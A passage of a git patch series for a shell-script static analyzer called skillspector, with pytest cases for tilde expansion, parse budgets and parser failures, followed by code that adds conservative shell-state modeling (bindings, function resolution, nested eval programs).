== () + + +@pytest.mark.parametrize( + ("raw", "expected_argv", "expected_assignments"), + [ + (b'printf ""~/file\n', (b"printf", b"~/file"), ()), + ( + b'A=""~/repo cmd\n', + (b"cmd",), + (("A", dependency_types.StaticValue.exact(b"~/repo")),), + ), + ( + b'A=/bin:""~/repo cmd\n', + (b"cmd",), + (("A", dependency_types.StaticValue.exact(b"/bin:~/repo")),), + ), + ], +) +def test_zero_length_quoted_fragments_block_tilde_expansion( + raw: bytes, + expected_argv: tuple[bytes, ...], + expected_assignments: tuple[tuple[str, dependency_types.StaticValue], ...], +) -> None: + result, _budget, _unit = _analyze(raw) + + assert [_argv_bytes(command) for command in result.commands] == [expected_argv] + assert ( + tuple((assignment.name, assignment.value) for assignment in result.assignments) + == expected_assignments + ) + assert result.issues == () + + +def test_quoted_and_escaped_tilde_and_pathname_characters_remain_exact() -> None: + result, _budget, _unit = _analyze( + b"printf \"~/file\" 'file*' file\\? file\\[ab\\] \\~/file file\\*\n" + b"A=\\~/repo cmd\n" + b"B=/bin:\\~/bin cmd\n" + b'C="/bin:~/bin" cmd\n' + ) + + assert [_argv_bytes(command) for command in result.commands] == [ + (b"printf", b"~/file", b"file*", b"file?", b"file[ab]", b"~/file", b"file*"), + (b"cmd",), + (b"cmd",), + (b"cmd",), + ] + assert [ + (assignment.name, assignment.value.exact_bytes) for assignment in result.assignments + ] == [ + ("A", b"~/repo"), + ("B", b"/bin:~/bin"), + ("C", b"/bin:~/bin"), + ] + assert result.issues == () + + +def test_missing_syntax_is_localized_without_discarding_proven_commands() -> None: + result, _budget, _unit = _analyze(b"if condition; then body;\n") + + assert [command.argv[0].exact_bytes for command in result.commands] == [ + b"condition", + b"body", + ] + assert [(issue.reason, issue.span.start_line) for issue in result.issues] == [ + (dependency_types.ShellIssueReason.SYNTAX_ERROR, 1) + ] + assert result.work_items[0].outcome is dependency_types.ShellWorkOutcome.PARTIAL + + +def test_preparse_resource_denial_is_skipped_without_calling_parser( + monkeypatch: pytest.MonkeyPatch, +) -> None: + budget = DependencyWorkBudget() + extraction = _extract("scripts/limited.sh", b"printf ok\n", budget=budget) + unit = extraction.units[0] + file_budget = budget.for_file(unit.origin_span.path) + assert file_budget.reserve_shell_parse(len(unit.raw_bytes)) is None + assert file_budget.reserve_shell_parse(len(unit.raw_bytes)) is None + + def unexpected_parse(_source: bytes, **_kwargs: Any) -> Any: + raise AssertionError("pre-parse denial must not invoke the parser") + + monkeypatch.setattr(shell_frontend, "parse_bash_source", unexpected_parse) + + result = shell_frontend.analyze_shell_unit(unit, budget=budget) + + assert result.commands == () + assert [issue.reason for issue in result.issues] == [ + dependency_types.ShellIssueReason.RESOURCE_LIMIT + ] + assert result.work_items[0].outcome is dependency_types.ShellWorkOutcome.SKIPPED + + +def test_exact_and_one_over_traversal_ir_and_value_budgets() -> None: + raw = b"printf value\n" + baseline_budget = DependencyWorkBudget() + unit = _extract("scripts/bounds.sh", raw, budget=baseline_budget).units[0] + baseline = shell_frontend.analyze_shell_unit(unit, budget=baseline_budget) + assert baseline.work_items[0].outcome is dependency_types.ShellWorkOutcome.COMPLETED + baseline_file = baseline_budget.for_file(unit.origin_span.path) + required = { + dependency_types.DependencyWorkResource.SHELL_CST_VISITS: baseline_file.used_for_unit( + unit, dependency_types.DependencyWorkResource.SHELL_CST_VISITS + ), + dependency_types.DependencyWorkResource.RETAINED_SHELL_IR: baseline_budget.used( + dependency_types.DependencyWorkResource.RETAINED_SHELL_IR + ), + dependency_types.DependencyWorkResource.SHELL_RETAINED_VALUE_BYTES: baseline_file.used( + dependency_types.DependencyWorkResource.SHELL_RETAINED_VALUE_BYTES + ), + } + limits = { + dependency_types.DependencyWorkResource.SHELL_CST_VISITS: ( + dependency_types.DEPENDENCY_SHELL_CST_VISIT_FACTOR * len(raw) + + dependency_types.DEPENDENCY_SHELL_CST_VISIT_BASE + ), + dependency_types.DependencyWorkResource.RETAINED_SHELL_IR: ( + dependency_types.MAX_DEPENDENCY_RETAINED_SHELL_IR + ), + dependency_types.DependencyWorkResource.SHELL_RETAINED_VALUE_BYTES: ( + dependency_types.MAX_DEPENDENCY_SHELL_VALUE_BYTES_PER_FILE + ), + } + + for resource, required_count in required.items(): + exact_budget = DependencyWorkBudget() + exact_file = exact_budget.for_file(unit.origin_span.path) + exact_file.register_shell_file_size(len(raw)) + precharge = limits[resource] - required_count + if resource is dependency_types.DependencyWorkResource.SHELL_CST_VISITS: + assert exact_file.charge_shell_cst_visits(unit, precharge) is None + elif resource is dependency_types.DependencyWorkResource.RETAINED_SHELL_IR: + assert exact_file.charge_retained_shell_ir(unit, precharge) is None + else: + assert exact_file.reserve_shell_value_bytes(precharge) is None + exact = shell_frontend.analyze_shell_unit(unit, budget=exact_budget) + assert exact.work_items[0].outcome is dependency_types.ShellWorkOutcome.COMPLETED + + over_budget = DependencyWorkBudget() + over_file = over_budget.for_file(unit.origin_span.path) + over_file.register_shell_file_size(len(raw)) + precharge += 1 + if resource is dependency_types.DependencyWorkResource.SHELL_CST_VISITS: + assert over_file.charge_shell_cst_visits(unit, precharge) is None + elif resource is dependency_types.DependencyWorkResource.RETAINED_SHELL_IR: + assert over_file.charge_retained_shell_ir(unit, precharge) is None + else: + assert over_file.reserve_shell_value_bytes(precharge) is None + over = shell_frontend.analyze_shell_unit(unit, budget=over_budget) + assert over.work_items[0].outcome is dependency_types.ShellWorkOutcome.PARTIAL + assert dependency_types.ShellIssueReason.RESOURCE_LIMIT in { + issue.reason for issue in over.issues + } + + +def test_exact_parse_revisit_ceiling_calls_parser_twice_then_skips( + monkeypatch: pytest.MonkeyPatch, +) -> None: + budget = DependencyWorkBudget() + unit = _extract("scripts/revisit.sh", b"printf ok\n", budget=budget).units[0] + real_parse = shell_frontend.parse_bash_source + calls = 0 + + def recording_parse(source: bytes, **kwargs: Any) -> Any: + nonlocal calls + calls += 1 + return real_parse(source, **kwargs) + + monkeypatch.setattr(shell_frontend, "parse_bash_source", recording_parse) + + first = shell_frontend.analyze_shell_unit(unit, budget=budget) + second = shell_frontend.analyze_shell_unit(unit, budget=budget) + denied = shell_frontend.analyze_shell_unit(unit, budget=budget) + + assert [first.work_items[0].outcome, second.work_items[0].outcome] == [ + dependency_types.ShellWorkOutcome.COMPLETED, + dependency_types.ShellWorkOutcome.COMPLETED, + ] + assert denied.work_items[0].outcome is dependency_types.ShellWorkOutcome.SKIPPED + assert calls == 2 + + +def test_runtime_parser_failure_is_one_local_partial_outcome( + monkeypatch: pytest.MonkeyPatch, +) -> None: + budget = DependencyWorkBudget() + unit = _extract("scripts/runtime.sh", b"printf ok\n", budget=budget).units[0] + + def cancelled(_source: bytes, **_kwargs: Any) -> Any: + raise shell_frontend.ShellParserError( + outcome=shell_frontend.ShellParserOutcome.PARTIAL, + reason=shell_frontend.ShellParserFailureReason.RUNTIME_LIMIT, + deadline_tripped=True, + ) + + monkeypatch.setattr(shell_frontend, "parse_bash_source", cancelled) + + result = shell_frontend.analyze_shell_unit(unit, budget=budget) + + assert result.commands == () + assert [issue.reason for issue in result.issues] == [ + dependency_types.ShellIssueReason.RUNTIME_LIMIT + ] + assert result.work_items[0].outcome is dependency_types.ShellWorkOutcome.PARTIAL + + +@pytest.mark.parametrize( + ("parser_outcome", "work_outcome"), + [ + ( + shell_frontend.ShellParserOutcome.FAILED, + dependency_types.ShellWorkOutcome.FAILED, + ), + ( + shell_frontend.ShellParserOutcome.PARTIAL, + dependency_types.ShellWorkOutcome.PARTIAL, + ), + ], +) +def test_parser_unavailable_preserves_failed_or_preclassified_partial_outcome( + monkeypatch: pytest.MonkeyPatch, + parser_outcome: shell_frontend.ShellParserOutcome, + work_outcome: dependency_types.ShellWorkOutcome, +) -> None: + budget = DependencyWorkBudget() + unit = _extract("scripts/unavailable.sh", b"printf ok\n", budget=budget).units[0] + + def unavailable(_source: bytes, **_kwargs: Any) -> Any: + raise shell_frontend.ShellParserError( + outcome=parser_outcome, + reason=shell_frontend.ShellParserFailureReason.SHELL_PARSER_UNAVAILABLE, + deadline_tripped=False, + ) + + monkeypatch.setattr(shell_frontend, "parse_bash_source", unavailable) + + result = shell_frontend.analyze_shell_unit(unit, budget=budget) + + assert result.commands == () + assert [(issue.reason, issue.outcome) for issue in result.issues] == [ + (dependency_types.ShellIssueReason.SHELL_PARSER_UNAVAILABLE, work_outcome) + ] + assert result.work_items[0].outcome is work_outcome + + +@pytest.mark.timeout(10) +def test_deep_shell_nesting_is_walked_without_python_recursion() -> None: + depth = 2_000 + raw = b"(" * depth + b"printf ok" + b")" * depth + b"\n" + + result, _budget, _unit = _analyze(raw, path="scripts/deep.sh") + + assert len(result.work_items) == 1 + assert result.work_items[0].outcome in { + dependency_types.ShellWorkOutcome.COMPLETED, + dependency_types.ShellWorkOutcome.PARTIAL, + } From 7568f7d25699a0f7477d0a192ebbeaab992bbc01 Mon Sep 17 00:00:00 2001 From: Nir Paz Date: Tue, 25 Aug 2026 11:08:52 -0700 Subject: [PATCH 05/13] feat(sc10): model conservative shell state Signed-off-by: Nir Paz --- src/skillspector/shell_frontend.py | 3566 +++++++++++++++++++++++++++- tests/unit/test_shell_frontend.py | 2213 ++++++++++++++++- 2 files changed, 5685 insertions(+), 94 deletions(-) diff --git a/src/skillspector/shell_frontend.py b/src/skillspector/shell_frontend.py index d8dc063d..6751fc11 100644 --- a/src/skillspector/shell_frontend.py +++ b/src/skillspector/shell_frontend.py @@ -1,15 +1,15 @@ # SPDX-FileCopyrightText: Copyright (c) 2026 NVIDIA CORPORATION & AFFILIATES. All rights reserved. # SPDX-License-Identifier: Apache-2.0 -"""Exact-pinned extraction, parser boundary, and syntax-only shell lowering. +"""Exact-pinned extraction, parser boundary, and bounded shell modeling. -This module intentionally contains no package-manager policy or shell state. +This module intentionally contains no package-manager policy or host shell state. """ from __future__ import annotations from bisect import bisect_left, bisect_right -from collections.abc import Callable +from collections.abc import Callable, Generator from dataclasses import dataclass, field, replace from enum import StrEnum from functools import cache @@ -679,6 +679,7 @@ class _ExecutionRegionKind(StrEnum): PROGRAM = "program" LIST = "list" PIPELINE = "pipeline" + PIPELINE_STAGE = "pipeline_stage" IF = "if" ELIF = "elif" ELSE = "else" @@ -696,6 +697,7 @@ class _ExecutionRegionKind(StrEnum): PROCESS_SUBSTITUTION = "process_substitution" NEGATION = "negation" REDIRECTED = "redirected" + ASYNC = "async" class _RedirectKind(StrEnum): @@ -707,6 +709,52 @@ class _RedirectKind(StrEnum): STDOUT_STDERR_TRUNCATE = "stdout_stderr_truncate" +class _ValueAtomKind(StrEnum): + LITERAL = "literal" + VARIABLE = "variable" + + +class _ExportState(StrEnum): + EXPORTED = "exported" + UNEXPORTED = "unexported" + UNKNOWN = "unknown" + + +class _CommandResolutionKind(StrEnum): + EXTERNAL = "external" + FUNCTION = "function" + AMBIGUOUS = "ambiguous" + + +_IMPORTED_FUNCTION_ID: Final = -1 + + +class _ShellEventKind(StrEnum): + ASSIGNMENT = "assignment" + COMMAND = "command" + UNSET = "unset" + FUNCTION_DEFINITION = "function_definition" + LOOP_BINDING = "loop_binding" + LOOP_UPDATE = "loop_update" + + +class _ControlRole(StrEnum): + STRAIGHT = "straight" + CONDITIONAL = "conditional" + BOOLEAN_LEFT = "boolean_left" + BOOLEAN_RIGHT = "boolean_right" + LOOP = "loop" + GROUP = "group" + ASYNC = "async" + ISOLATED = "isolated" + FUNCTION = "function" + + +class _NestedExecutionKind(StrEnum): + SHELL = "shell" + EVAL = "eval" + + _REGION_NODE_TYPES: Final[dict[str, _ExecutionRegionKind]] = { "program": _ExecutionRegionKind.PROGRAM, "list": _ExecutionRegionKind.LIST, @@ -763,11 +811,14 @@ class _RedirectKind(StrEnum): "command": frozenset({"name", "argument", "redirect"}), "variable_assignment": frozenset({"name", "value"}), "declaration_command": frozenset(), + "unset_command": frozenset(), "redirected_statement": frozenset({"body", "redirect"}), "file_redirect": frozenset({"descriptor", "destination"}), "function_definition": frozenset({"name", "body"}), "if_statement": frozenset({"condition"}), "for_statement": frozenset({"variable", "value", "body"}), + "c_style_for_statement": frozenset({"initializer", "condition", "update", "body"}), + "postfix_expression": frozenset({"operator"}), "while_statement": frozenset({"condition", "body"}), "case_statement": frozenset({"value"}), "case_item": frozenset({"value", "termination"}), @@ -792,6 +843,62 @@ class _ValueFragment: value_start_byte: int value_end_byte: int exact: bool + unit_id: str = field(repr=False) + local_start_byte: int = field(repr=False) + local_end_byte: int = field(repr=False) + + +@dataclass(frozen=True, slots=True) +class _ValueAtom: + kind: _ValueAtomKind + value: StaticValue + span: SourceSpan + fragments: tuple[_ValueFragment, ...] + name: str | None = field(default=None, repr=False) + quoted: bool = False + + +@dataclass(frozen=True, slots=True) +class _BindingIR: + name: str = field(repr=False) + value: StaticValue + export_state: _ExportState + fragments: tuple[_ValueFragment, ...] + + +@dataclass(frozen=True, slots=True) +class _StateUpdateIR: + order: int + region_id: int | None + function_id: int | None + frame_id: int + binding: _BindingIR + + +@dataclass(frozen=True, slots=True) +class _StateFrameFact: + frame_id: int + parent_frame_id: int | None + functions_unknown: bool + + +@dataclass(frozen=True, slots=True) +class _StateEventIR: + order: int + kind: _ShellEventKind + role: _ControlRole + span: SourceSpan + region_id: int | None + function_id: int | None + local_start_byte: int = field(repr=False) + local_end_byte: int = field(repr=False) + name: str | None = field(default=None, repr=False) + + +@dataclass(frozen=True, slots=True) +class _CommandResolution: + kind: _CommandResolutionKind + function_id: int | None = None @dataclass(frozen=True, slots=True) @@ -799,6 +906,7 @@ class _ArgumentIR: value: StaticValue span: SourceSpan fragments: tuple[_ValueFragment, ...] + atoms: tuple[_ValueAtom, ...] local_start_byte: int = field(repr=False) local_end_byte: int = field(repr=False) @@ -811,6 +919,9 @@ class _ExecutionRegion: span: SourceSpan parent_region_id: int | None function_id: int | None + local_start_byte: int = field(repr=False) + local_end_byte: int = field(repr=False) + control_split_byte: int | None = field(default=None, repr=False) @dataclass(frozen=True, slots=True) @@ -820,6 +931,9 @@ class _FunctionContext: span: SourceSpan fragments: tuple[_ValueFragment, ...] parent_function_id: int | None + definition_region_id: int | None + local_start_byte: int = field(repr=False) + local_end_byte: int = field(repr=False) @dataclass(frozen=True, slots=True) @@ -837,6 +951,11 @@ class _AssignmentIR: function_id: int | None prefix_for_command_start_byte: int | None value_fragments: tuple[_ValueFragment, ...] + value_atoms: tuple[_ValueAtom, ...] + declaration_keyword: bytes | None = field(default=None, repr=False) + declaration_command_start_byte: int | None = field(default=None, repr=False) + local_start_byte: int = field(default=0, repr=False) + local_end_byte: int = field(default=0, repr=False) @dataclass(frozen=True, slots=True) @@ -848,14 +967,83 @@ class _CommandIR: arguments: tuple[_ArgumentIR, ...] prefix_assignments: tuple[AssignmentSite, ...] redirects: tuple[_RedirectFact, ...] + prefix_bindings: tuple[_BindingIR, ...] = () + program_id: str = field(default="", repr=False) + execution_order: int = 0 + state_update_order: int = 0 + state_frame_id: int = 0 + resolution: _CommandResolution = _CommandResolution(_CommandResolutionKind.EXTERNAL) + local_start_byte: int = field(default=0, repr=False) + local_end_byte: int = field(default=0, repr=False) @dataclass(frozen=True, slots=True) class _ShellProgramIR: + program_id: str = field(default="", repr=False) regions: tuple[_ExecutionRegion, ...] = () functions: tuple[_FunctionContext, ...] = () commands: tuple[_CommandIR, ...] = () assignments: tuple[_AssignmentIR, ...] = () + state_updates: tuple[_StateUpdateIR, ...] = () + state_events: tuple[_StateEventIR, ...] = () + state_frames: tuple[_StateFrameFact, ...] = () + initial_bindings: tuple[_BindingIR, ...] = () + initial_functions: tuple[tuple[bytes, int | None], ...] = field(default=(), repr=False) + initial_functions_unknown: bool = False + execution_commands: tuple[_CommandIR, ...] = () + nested_programs: tuple[_NestedProgramIR, ...] = () + + +@dataclass(frozen=True, slots=True) +class _NestedProgramIR: + order: int + unit: ShellUnit + depth: int + execution_kind: _NestedExecutionKind + parent_program_id: str + parent_command_start_byte: int + program: _ShellProgramIR + outcome: ShellWorkOutcome + + +@dataclass(frozen=True, slots=True) +class _NestedRequest: + execution_kind: _NestedExecutionKind + command: _CommandIR + payload: _ArgumentIR + frame: _StateFrame = field(repr=False, compare=False) + depth: int + + +@dataclass(frozen=True, slots=True) +class _NestedResponse: + bindings: dict[str, _BindingIR] | None = field(default=None, repr=False) + functions: dict[bytes, int | None] | None = field(default=None, repr=False) + functions_unknown: bool = False + + +@dataclass(frozen=True, slots=True) +class _ModeledState: + program: _ShellProgramIR + bindings: dict[str, _BindingIR] = field(repr=False) + functions: dict[bytes, int | None] = field(repr=False) + functions_unknown: bool + + +@dataclass(slots=True) +class _ProgramJob: + lowerer: _ShellLowerer + unit: ShellUnit + depth: int + execution_kind: _NestedExecutionKind | None + parent_request: _NestedRequest | None + nested_order: int | None + initial_bindings: dict[str, _BindingIR] + initial_functions: dict[bytes, int | None] + initial_functions_unknown: bool + generator: Generator[_NestedRequest, _NestedResponse, _ModeledState] + started: bool = False + pending_response: _NestedResponse | None = None @dataclass(frozen=True, slots=True) @@ -871,6 +1059,18 @@ class _FoldedValue: unquoted_tilde_offsets: tuple[int, ...] = () unquoted_assignment_delimiter_offsets: tuple[int, ...] = () quoted_empty_offsets: tuple[int, ...] = () + atoms: tuple[_FoldAtom, ...] | None = None + + +@dataclass(frozen=True, slots=True) +class _FoldAtom: + kind: _ValueAtomKind + value: StaticValue + fragments: tuple[tuple[int, int, int, int, bool], ...] + source_start_byte: int + source_end_byte: int + name: str | None = field(default=None, repr=False) + quoted: bool = False @dataclass(frozen=True, slots=True) @@ -930,6 +1130,26 @@ class _WrapperArgumentsDraft: statement_start_byte: int +@dataclass(frozen=True, slots=True) +class _ShellEventDraft: + kind: _ShellEventKind + node: Node = field(repr=False) + region_id: int | None + function_id: int | None + + +@dataclass(slots=True) +class _StateFrame: + frame_id: int + parent: _StateFrame | None + bindings: dict[str, _BindingIR] = field(default_factory=dict) + functions: dict[bytes, int | None] = field(default_factory=dict) + functions_unknown: bool = False + sticky_unknown_names: set[str] = field(default_factory=set, repr=False) + persistent_unknown_names: set[str] = field(default_factory=set, repr=False) + persistent_bindings_unknown: bool = field(default=False, repr=False) + + @dataclass(frozen=True, slots=True) class _WalkFrame: node: Node = field(repr=False) @@ -940,6 +1160,7 @@ class _WalkFrame: substitution_depth: int command_owner_start_byte: int | None redirect_owner_start_byte: int | None + exiting: bool = False def _node_key(node: Node) -> tuple[int, int, str]: @@ -965,8 +1186,11 @@ def __init__( unit: ShellUnit, budget: DependencyWorkBudget, file_budget: DependencyFileBudget, + *, + accounting_unit: ShellUnit | None = None, ) -> None: self.unit = unit + self.accounting_unit = accounting_unit or unit self.raw = unit.raw_bytes self.budget = budget self.file_budget = file_budget @@ -980,6 +1204,12 @@ def __init__( self.redirect_owners: dict[int, _RedirectOwner] = {} self.redirect_drafts: list[_RedirectDraft] = [] self.wrapper_argument_drafts: list[_WrapperArgumentsDraft] = [] + self.event_drafts: list[_ShellEventDraft] = [] + self.region_chain_cache: dict[int | None, tuple[_ExecutionRegion, ...]] = {} + self.branch_container_ids: dict[int, int] = {} + self.pipeline_input_region_ids: frozenset[int] | None = None + self.persistent_unknown_function_ids: frozenset[int] = frozenset() + self.next_state_frame_id = 1 self.syntax_error_command_starts: set[int] = set() self.syntax_error_redirect_starts: set[int] = set() self.halted = False @@ -1057,15 +1287,18 @@ def _issue( exhaustion: DependencyWorkExhaustion | None = None, ) -> None: self.partial = True + issue = ShellIssue( + reason=reason, + outcome=outcome, + span=span, + unit_id=self.unit.unit_id, + exhaustion=exhaustion, + ) + if issue in self.issues: + return _retain_issue( self.issues, - ShellIssue( - reason=reason, - outcome=outcome, - span=span, - unit_id=self.unit.unit_id, - exhaustion=exhaustion, - ), + issue, file_budget=self.file_budget, ) @@ -1111,7 +1344,7 @@ def _reserve(self, count: int, *, value_bytes: int = 0, span: SourceSpan) -> boo span, ) return False - if self.file_budget.charge_retained_shell_ir(self.unit, count) is not None: + if self.file_budget.charge_retained_shell_ir(self.accounting_unit, count) is not None: raise RuntimeError("atomic retained shell IR reservation invariant failed") if self.file_budget.reserve_shell_value_bytes(value_bytes) is not None: raise RuntimeError("atomic retained shell value reservation invariant failed") @@ -1132,50 +1365,139 @@ def _mapped_fragments( self._point_span(source_start if source_start >= 0 else fallback_start), ) return None - mapped.append(_ValueFragment(span, value_start, value_end, exact)) + mapped.append( + _ValueFragment( + span, + value_start, + value_end, + exact, + self.unit.unit_id, + source_start, + source_end, + ) + ) + return tuple(mapped) + + def _mapped_atoms( + self, + atoms: tuple[_FoldAtom, ...] | None, + ) -> tuple[_ValueAtom, ...] | None: + if atoms is None: + return () + mapped: list[_ValueAtom] = [] + for atom in atoms: + span = self._span(atom.source_start_byte, atom.source_end_byte) + if span is None: + self._issue( + ShellIssueReason.UNSUPPORTED_SEMANTICS, + self._point_span(atom.source_start_byte), + ) + return None + fragments = self._mapped_fragments( + atom.fragments, + fallback_start=atom.source_start_byte, + ) + if fragments is None: + return None + mapped.append( + _ValueAtom( + atom.kind, + atom.value, + span, + fragments, + atom.name, + atom.quoted, + ) + ) return tuple(mapped) + @staticmethod + def _append_surviving_fragment( + fragments: list[tuple[int, int, int, int, bool]], + *, + source_byte: int, + value_byte: int, + ) -> None: + if fragments and fragments[-1][1] == source_byte and fragments[-1][3] == value_byte: + source_start, _source_end, value_start, _value_end, exact = fragments[-1] + fragments[-1] = ( + source_start, + source_byte + 1, + value_start, + value_byte + 1, + exact, + ) + return + fragments.append((source_byte, source_byte + 1, value_byte, value_byte + 1, True)) + @staticmethod def _decode_unquoted( raw: bytes, - ) -> tuple[bytes | None, bool, tuple[int, ...], tuple[int, ...]]: + *, + source_start_byte: int, + ) -> tuple[ + bytes | None, + bool, + tuple[int, ...], + tuple[int, ...], + tuple[tuple[int, int, int, int, bool], ...], + ]: decoded = bytearray() has_pathname_expansion = False tilde_offsets: list[int] = [] assignment_delimiter_offsets: list[int] = [] + fragments: list[tuple[int, int, int, int, bool]] = [] index = 0 while index < len(raw): byte = raw[index] if byte == 92: if index + 1 >= len(raw): - return None, False, (), () + return None, False, (), (), () following = raw[index + 1] if following == 10: index += 2 continue + value_offset = len(decoded) decoded.append(following) + _ShellLowerer._append_surviving_fragment( + fragments, + source_byte=source_start_byte + index + 1, + value_byte=value_offset, + ) index += 2 continue if byte in {0, 10, 12, 13}: - return None, False, (), () + return None, False, (), (), () if byte in {42, 63, 91}: has_pathname_expansion = True elif byte == 126: tilde_offsets.append(len(decoded)) elif byte == 58: assignment_delimiter_offsets.append(len(decoded)) + value_offset = len(decoded) decoded.append(byte) + _ShellLowerer._append_surviving_fragment( + fragments, + source_byte=source_start_byte + index, + value_byte=value_offset, + ) index += 1 return ( bytes(decoded), has_pathname_expansion, tuple(tilde_offsets), tuple(assignment_delimiter_offsets), + tuple(fragments), ) @staticmethod - def _decode_double_quoted(raw: bytes) -> bytes | None: + def _decode_double_quoted( + raw: bytes, + *, + source_start_byte: int, + ) -> tuple[bytes | None, tuple[tuple[int, int, int, int, bool], ...]]: decoded = bytearray() + fragments: list[tuple[int, int, int, int, bool]] = [] index = 0 while index < len(raw): byte = raw[index] @@ -1185,14 +1507,26 @@ def _decode_double_quoted(raw: bytes) -> bytes | None: index += 2 continue if following in {36, 96, 34, 92}: + value_offset = len(decoded) decoded.append(following) + _ShellLowerer._append_surviving_fragment( + fragments, + source_byte=source_start_byte + index + 1, + value_byte=value_offset, + ) index += 2 continue if byte in {0, 10, 13}: - return None + return None, () + value_offset = len(decoded) decoded.append(byte) + _ShellLowerer._append_surviving_fragment( + fragments, + source_byte=source_start_byte + index, + value_byte=value_offset, + ) index += 1 - return bytes(decoded) + return bytes(decoded), tuple(fragments) @staticmethod def _unknown_fold(node: Node) -> _FoldedValue: @@ -1201,6 +1535,25 @@ def _unknown_fold(node: Node) -> _FoldedValue: ((node.start_byte, node.end_byte, 0, 0, False),), ) + def _simple_variable_reference(self, node: Node) -> str | None: + children = node.children + if node.type == "simple_expansion": + if len(children) != 2 or children[0].type != "$" or children[1].type != "variable_name": + return None + variable = children[1] + elif node.type == "expansion": + if ( + len(children) != 3 + or children[0].type != "${" + or children[1].type != "variable_name" + or children[2].type != "}" + ): + return None + variable = children[1] + else: + return None + return self._identifier(self.raw[variable.start_byte : variable.end_byte]) + @staticmethod def _apply_tilde_context( folded: _FoldedValue, @@ -1244,6 +1597,26 @@ def _fold_node(self, root: Node) -> _FoldedValue: node, visited = stack.pop() key = _node_key(node) if not visited: + if node.type in {"simple_expansion", "expansion"}: + name = self._simple_variable_reference(node) + if name is None: + results[key] = self._unknown_fold(node) + else: + results[key] = _FoldedValue( + StaticValue.unknown(), + ((node.start_byte, node.end_byte, 0, 0, False),), + atoms=( + _FoldAtom( + _ValueAtomKind.VARIABLE, + StaticValue.unknown(), + (), + node.start_byte, + node.end_byte, + name=name, + ), + ), + ) + continue if node.type in _DYNAMIC_VALUE_NODE_TYPES: results[key] = self._unknown_fold(node) continue @@ -1257,8 +1630,7 @@ def _fold_node(self, root: Node) -> _FoldedValue: continue if node_type == "raw_string": value = raw[1:-1] if len(raw) >= 2 else b"" - results[key] = _FoldedValue( - StaticValue.exact(value), + raw_fragments = ( ( ( node.start_byte + 1, @@ -1269,8 +1641,22 @@ def _fold_node(self, root: Node) -> _FoldedValue: ), ) if value - else (), + else () + ) + results[key] = _FoldedValue( + StaticValue.exact(value), + raw_fragments, quoted_empty_offsets=(0,) if not value else (), + atoms=( + _FoldAtom( + _ValueAtomKind.LITERAL, + StaticValue.exact(value), + raw_fragments, + node.start_byte, + node.end_byte, + quoted=True, + ), + ), ) continue if node_type in {"word", "variable_name", "number"}: @@ -1279,7 +1665,8 @@ def _fold_node(self, root: Node) -> _FoldedValue: has_pathname_expansion, tilde_offsets, assignment_delimiter_offsets, - ) = self._decode_unquoted(raw) + surviving_fragments, + ) = self._decode_unquoted(raw, source_start_byte=node.start_byte) if decoded_unquoted is None: self._issue( ShellIssueReason.UNSUPPORTED_SEMANTICS, @@ -1291,15 +1678,25 @@ def _fold_node(self, root: Node) -> _FoldedValue: else: results[key] = _FoldedValue( StaticValue.exact(decoded_unquoted), - ((node.start_byte, node.end_byte, 0, len(decoded_unquoted), True),) - if raw - else (), + surviving_fragments, tilde_offsets if node_type == "word" else (), assignment_delimiter_offsets if node_type == "word" else (), + atoms=( + _FoldAtom( + _ValueAtomKind.LITERAL, + StaticValue.exact(decoded_unquoted), + surviving_fragments, + node.start_byte, + node.end_byte, + ), + ), ) continue if node_type == "string_content": - decoded_quoted = self._decode_double_quoted(raw) + decoded_quoted, surviving_fragments = self._decode_double_quoted( + raw, + source_start_byte=node.start_byte, + ) if decoded_quoted is None: self._issue( ShellIssueReason.UNSUPPORTED_SEMANTICS, @@ -1309,9 +1706,17 @@ def _fold_node(self, root: Node) -> _FoldedValue: else: results[key] = _FoldedValue( StaticValue.exact(decoded_quoted), - ((node.start_byte, node.end_byte, 0, len(decoded_quoted), True),) - if raw - else (), + surviving_fragments, + atoms=( + _FoldAtom( + _ValueAtomKind.LITERAL, + StaticValue.exact(decoded_quoted), + surviving_fragments, + node.start_byte, + node.end_byte, + quoted=True, + ), + ), ) continue if node_type == "command_name": @@ -1332,18 +1737,51 @@ def _fold_node(self, root: Node) -> _FoldedValue: if value_node is not None else _FoldedValue(StaticValue.exact(b""), ()) ) - if ( - name_fold.value.state is StaticValueState.EXACT - and value_fold.value.state is StaticValueState.EXACT - ): + if name_fold.value.state is StaticValueState.EXACT: name_bytes = cast(bytes, name_fold.value.exact_bytes) - value_bytes = cast(bytes, value_fold.value.exact_bytes) + value_bytes = ( + cast(bytes, value_fold.value.exact_bytes) + if value_fold.value.state is StaticValueState.EXACT + else b"" + ) combined = name_bytes + b"=" + value_bytes value_offset = len(name_bytes) + 1 + prefix_end = value_node.start_byte if value_node is not None else node.end_byte + prefix_fragments = ((node.start_byte, prefix_end, 0, value_offset, True),) + assignment_fragments = list(prefix_fragments) + if value_fold.value.state is StaticValueState.EXACT: + assignment_fragments.extend( + ( + source_start, + source_end, + value_offset + value_start, + value_offset + value_end, + exact, + ) + for source_start, source_end, value_start, value_end, exact in value_fold.fragments + ) + atoms = ( + ( + _FoldAtom( + _ValueAtomKind.LITERAL, + StaticValue.exact(name_bytes + b"="), + prefix_fragments, + node.start_byte, + prefix_end, + ), + *value_fold.atoms, + ) + if value_fold.atoms is not None + else None + ) results[key] = self._apply_tilde_context( _FoldedValue( - StaticValue.exact(combined), - ((node.start_byte, node.end_byte, 0, len(combined), True),), + StaticValue.exact(combined) + if value_fold.value.state is StaticValueState.EXACT + else StaticValue.unknown(), + tuple(assignment_fragments) + if value_fold.value.state is StaticValueState.EXACT + else ((node.start_byte, node.end_byte, 0, 0, False),), tuple( value_offset + offset for offset in value_fold.unquoted_tilde_offsets @@ -1358,6 +1796,7 @@ def _fold_node(self, root: Node) -> _FoldedValue: tuple( value_offset + offset for offset in value_fold.quoted_empty_offsets ), + atoms, ), assignment_value=True, ) @@ -1376,6 +1815,7 @@ def _fold_node(self, root: Node) -> _FoldedValue: combined_tilde_offsets: list[int] = [] combined_assignment_delimiter_offsets: list[int] = [] combined_quoted_empty_offsets: list[int] = [] + combined_atoms: list[_FoldAtom] | None = [] output_cursor = 0 for part in parts: part_bytes = part.value.exact_bytes if exact else None @@ -1408,6 +1848,16 @@ def _fold_node(self, root: Node) -> _FoldedValue: ) output.extend(part_bytes) output_cursor += len(part_bytes) + if combined_atoms is not None: + if part.atoms is None: + combined_atoms = None + else: + combined_atoms.extend( + replace(atom, quoted=True) + if node_type == "string" and atom.kind is _ValueAtomKind.VARIABLE + else atom + for atom in part.atoms + ) if node_type == "string" and exact and not output: combined_quoted_empty_offsets.append(0) results[key] = 